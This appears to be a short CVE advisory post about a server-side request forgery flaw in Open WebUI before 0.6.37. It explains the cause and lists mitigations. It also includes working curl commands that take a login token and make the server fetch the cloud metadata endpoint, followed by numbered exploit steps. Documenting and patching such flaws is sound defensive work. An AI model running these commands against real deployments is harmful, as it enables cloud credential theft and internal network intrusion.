Listen to this Post
The SSRF vulnerability works through the `/api/v1/retrieval/process/web` endpoint in Open WebUI versions prior to 0.6.37. When an authenticated user submits a request, the `form_data.url` parameter is passed directly to a `get_content_from_url()` function without any validation. This function chain uses web loaders to fetch the user-supplied URL. The system performs no checks for private IP ranges (like 10.0.0.0/8 or 192.168.0.0/16), localhost addresses, cloud metadata endpoints (such as 169.254.169.254), or dangerous protocols. Consequently, any authenticated user can force the server to make HTTP requests to arbitrary internal or external URLs. This allows attackers to pivot from the vulnerable web server to other systems, scanning internal networks, accessing services behind firewalls, and reaching sensitive cloud metadata APIs to steal credentials.
DailyCVE Form:
Platform: Open WebUI
Version: Prior to 0.6.37
Vulnerability: Server-Side Request Forgery
Severity: High
Date: 2025-12-04
Prediction: Patched 2025-11-24
What Undercode Say:
Analytics:
Bash Commands:
TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" -H 'Content-Type: application/json' -d '{"email":"[email protected]","password":"password"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
curl -s "http://localhost:3000/api/v1/retrieval/process/web" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
How Exploit:
1. Obtain basic user credentials.
2. Authenticate to get a session token.
- Send a crafted POST request to the `/api/v1/retrieval/process/web` endpoint with a target URL in the payload.
- The server fetches content from the specified URL, which can be an internal network address, cloud metadata endpoint, or localhost service.
Protection from this CVE:
- Immediately upgrade to version 0.6.37 or later.
- Implement network-level restrictions to block egress traffic from the application server to internal metadata services and critical network segments.
- Apply strict input validation on all URL parameters, rejecting requests to private IP addresses and localhost.
Impact:
- Cloud credential theft via metadata APIs.
- Unauthorized internal network access.
- Sensitive information exfiltration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
